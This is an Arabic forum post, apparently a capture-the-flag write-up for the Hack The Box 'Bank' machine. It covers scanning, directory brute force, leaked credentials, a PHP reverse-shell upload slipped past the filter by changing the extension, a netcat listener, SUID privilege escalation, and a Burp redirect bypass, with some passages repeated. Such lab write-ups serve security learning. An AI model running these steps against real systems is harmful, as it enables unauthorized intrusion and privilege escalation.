

السمعة:
- إنضم5 سبتمبر 2023
- المشاركات 4
- مستوى التفاعل 19
- النقاط 3
1 - نبدأ بفحص المشين بإستخدام أداة Nmap
nmap -A -T4 10.129.29.200 -oA BankNmap
[CODE]# Nmap 7.91 scan initiated Sun Aug 22 09:25:27 2021 as: nmap -A -T4 -p- -oA BankNmap 10.129.29.200
Nmap scan report for 10.129.29.200
Host is up (0.12s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 22 09:36:56 2021 -- 1 IP address (1 host up) scanned in 689.00 seconds
[/CODE]
2 - إذا ذهبنا الى الIP الخاص بالمشين تظهر لنا Default Page ل Apach
حاولت مع IP مشين nmap و gobuster و لا شيء و عندما بحثت وجدت أن السيرفر يستخدم VHost لذا يجب إضافة IP الى ملف etc/host سأحاول شرح هذه النقطة في نهاية write-up
3 - نذهب الآن الى bank.htb تظهر لنا صفحة دخول Login Page
4 - نقوم directory brute force باستخدام اداة Gobuster
5 - نذهب الى bank/htb/balance-transfer تظهر لنا صفحة بها الكثير من الملفات المشفرة حاولت فك التشفير لم أصل الى أي شيء ثم عملت تنزيل للملفات كلها على جهازي باستخدام wget
وبعدها أذهب الى المسار الذي فيه balance-transfer مجلد ونقوم بهذه أوامر
ثم بدأت أفحص في الملفات كلها مشفرة الا ملف واحد كيف عرفت ؟ وجدت أن حجم الملف مختلف عن الباقي حجم أقل 257 أو يمكنك بطريقة أسهل و هي بالنقر على SIZE في الصفحة يرتبهن من الصغير الى الكبير
نقوم بفتح الملف نجد credential هو إيميل و الرقم السري و ندخل به في Login page
5 - لا يوجد شيء مهم هنا نذهب الى support نجد أنه يمكنك upload file , وعندما حاولت upload php-reverse-shel.php لا يمكن إلا الصور فقط images only
نضغط ctrl + u و بقراءة الكود نجد comment
نقوم بتغيير امتداد ملف php الى htb و ثم نرفعه upload
نبحث عن falg user عن طريق هذا اﻷمر
و اﻷن نقوم بزيادة صلاحيات Privilege Escalation بالبحث عن ملفات النظام SUID/GUID بهذا اﻷمر
لنعرف من يمتلك الصلاحيات لهذا الملف
نقوم بتنفيذ الملف execute
أنت اﻷن root نبحث اﻷن عن ملف root.txt
2 - ثم نذهب الى proxy - options
3 - نذهب الى Match andReplace نختار Add
4 - نختار من Type : Respons header
يعني أن السيرفر ممكن أن يستضيف أكثر من موقع على السيرفر و يمكن أن يكون نفس IP لكن اسم DNS يختلف مثال لدينا : 10.10.10.10 مستضيف أكثر من موقع example-1.com exampl-2.com example-3.com و هكذا
اذا ذهبنا مباشرة 10.10.10.10 لن يعرف السيرفر أي موقع تريد example-1 أو example-2 الحل هو باضافة ip و الاسماء الى ملف host
حاولت أشرح كما فهمت .
اريد ان تقرأوا المراجع و خاصة المرجع الثاني
en.wikipedia.org
nmap -A -T4 10.129.29.200 -oA BankNmap
[CODE]# Nmap 7.91 scan initiated Sun Aug 22 09:25:27 2021 as: nmap -A -T4 -p- -oA BankNmap 10.129.29.200
Nmap scan report for 10.129.29.200
Host is up (0.12s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 22 09:36:56 2021 -- 1 IP address (1 host up) scanned in 689.00 seconds
[/CODE]
2 - إذا ذهبنا الى الIP الخاص بالمشين تظهر لنا Default Page ل Apach
حاولت مع IP مشين nmap و gobuster و لا شيء و عندما بحثت وجدت أن السيرفر يستخدم VHost لذا يجب إضافة IP الى ملف etc/host سأحاول شرح هذه النقطة في نهاية write-up
3 - نذهب الآن الى bank.htb تظهر لنا صفحة دخول Login Page
4 - نقوم directory brute force باستخدام اداة Gobuster
كود:
gobuster dir -u http://bank.htb/login.php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o DirBank
كود:
/uploads (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
/assets (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/inc (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/server-status (Status: 403) [Size: 288]
/balance-transfer (Status: 301) [Size: 314] [--> http://bank.htb/balance-transfer/]
5 - نذهب الى bank/htb/balance-transfer تظهر لنا صفحة بها الكثير من الملفات المشفرة حاولت فك التشفير لم أصل الى أي شيء ثم عملت تنزيل للملفات كلها على جهازي باستخدام wget
كود:
wget -r http://bank.htb/balance-transfer
كود:
ls
wc -c *acc | sort -nr
شرح أمر
wc : word count
-c : print the byte counts
*acc : extension file
| : A “pipe” chains commands together. It takes the output from one command and feeds it to the next as input
sort : is used to sort a file
-n : compare according to string numerical value, (Numbers)
-r : reverse the result of comparisons
ثم بدأت أفحص في الملفات كلها مشفرة الا ملف واحد كيف عرفت ؟ وجدت أن حجم الملف مختلف عن الباقي حجم أقل 257 أو يمكنك بطريقة أسهل و هي بالنقر على SIZE في الصفحة يرتبهن من الصغير الى الكبير
نقوم بفتح الملف نجد credential هو إيميل و الرقم السري و ندخل به في Login page
5 - لا يوجد شيء مهم هنا نذهب الى support نجد أنه يمكنك upload file , وعندما حاولت upload php-reverse-shel.php لا يمكن إلا الصور فقط images only
نضغط ctrl + u و بقراءة الكود نجد comment
نقوم بتغيير امتداد ملف php الى htb و ثم نرفعه upload
6 - نقوم بتشغيل Netcat و نضغط على ملف php و نحصل على shell
sudo nc -nlvp 1234نبحث عن falg user عن طريق هذا اﻷمر
كود:
find -type f -name user.txt 2>/dev/null
و اﻷن نقوم بزيادة صلاحيات Privilege Escalation بالبحث عن ملفات النظام SUID/GUID بهذا اﻷمر
كود:
find -type f -name user.txt 2>/dev/null
كود:
find / -perm -u=s -type f 2>/dev/null
كود:
find / -perm -u=s -type f 2>/dev/null
كود:
ls -al /var/htb/bin/emergency
لنعرف من يمتلك الصلاحيات لهذا الملف
كود:
/var/htb/bin/emergency
أنت اﻷن root نبحث اﻷن عن ملف root.txt
كود:
find -type f -name root.txt 2>/dev/null
الطريقة الثانية للدخول Unintended Method
1 - نشغل Burpsuite ثم نشغل intercept on ثم نرسل الى Repeater2 - ثم نذهب الى proxy - options
3 - نذهب الى Match andReplace نختار Add
4 - نختار من Type : Respons header
كود:
Match :3[12] FOUND
Replace : 200 OK
Comment : Ignore Redirect
Check on Regex Matc
VHost (Virtual Hosting)
ويرمز لها بالاختصار Vhost هو الأسلوب الذي يستخدمه الخادم(Server) مثل خادم الويب (Web Server)ليستضيف أكثر من اسم مجال واحد(DNS ) على نفس الخادم، وأحيانا على نفس عنوان بروتوكول الإنترنت(IP).يعني أن السيرفر ممكن أن يستضيف أكثر من موقع على السيرفر و يمكن أن يكون نفس IP لكن اسم DNS يختلف مثال لدينا : 10.10.10.10 مستضيف أكثر من موقع example-1.com exampl-2.com example-3.com و هكذا
حاولت أشرح كما فهمت .
اريد ان تقرأوا المراجع و خاصة المرجع الثاني
المراجع
Virtual hosting - Wikipedia
التعديل الأخير بواسطة المشرف: